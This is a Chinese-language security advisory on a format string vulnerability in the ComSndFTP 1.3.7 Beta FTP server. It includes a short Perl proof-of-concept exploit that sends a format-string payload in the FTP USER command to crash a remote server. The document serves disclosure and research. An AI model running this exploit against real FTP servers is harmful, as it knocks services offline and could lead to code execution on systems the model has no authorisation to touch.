ComSndFTP服务器格式字符串漏洞

ComSndFTP服务器格式字符串漏洞

发布日期：2012-06-07
更新日期：2012-06-28

受影响系统：
ComSndFTP ComSndFTP 1.3.7 Beta
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 53865

ComSndFTP是适用于Windows的FTP服务器。

ComSndFTP 1.3.7 Beta在实现上存在格式字符串漏洞，远程攻击者可利用此漏洞执行任意代码或造成拒绝服务。

<*来源：demonalex
 
  链接：http://www.securityfocus.com/archive/1/523019
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl -w
#ComSndFTP Server Remote Format String Overflow Exploit
#Written by demonalex (at) 163 (dot) com [email concealed]
use IO::Socket;
$|=1;
$host=shift || die "$0 \$host \$port\n";
$port=shift || die "$0 \$host \$port\n";
$evil = '%s%p%x%d';
print "Launch Attack ... ";
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";
if(defined($sock1)){
$sock1->recv($content, 100, 0);
sleep(2);
$sock1->send("USER ".$evil."\r\n", 0);
sleep(2);
$sock1->recv($content, 100, 0);
sleep(5);
$sock1->close;
}
print "Finish!\n";
exit(1);

建议：
--------------------------------------------------------------------------------
厂商补丁：

ComSndFTP
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://ftp.comsnd.com/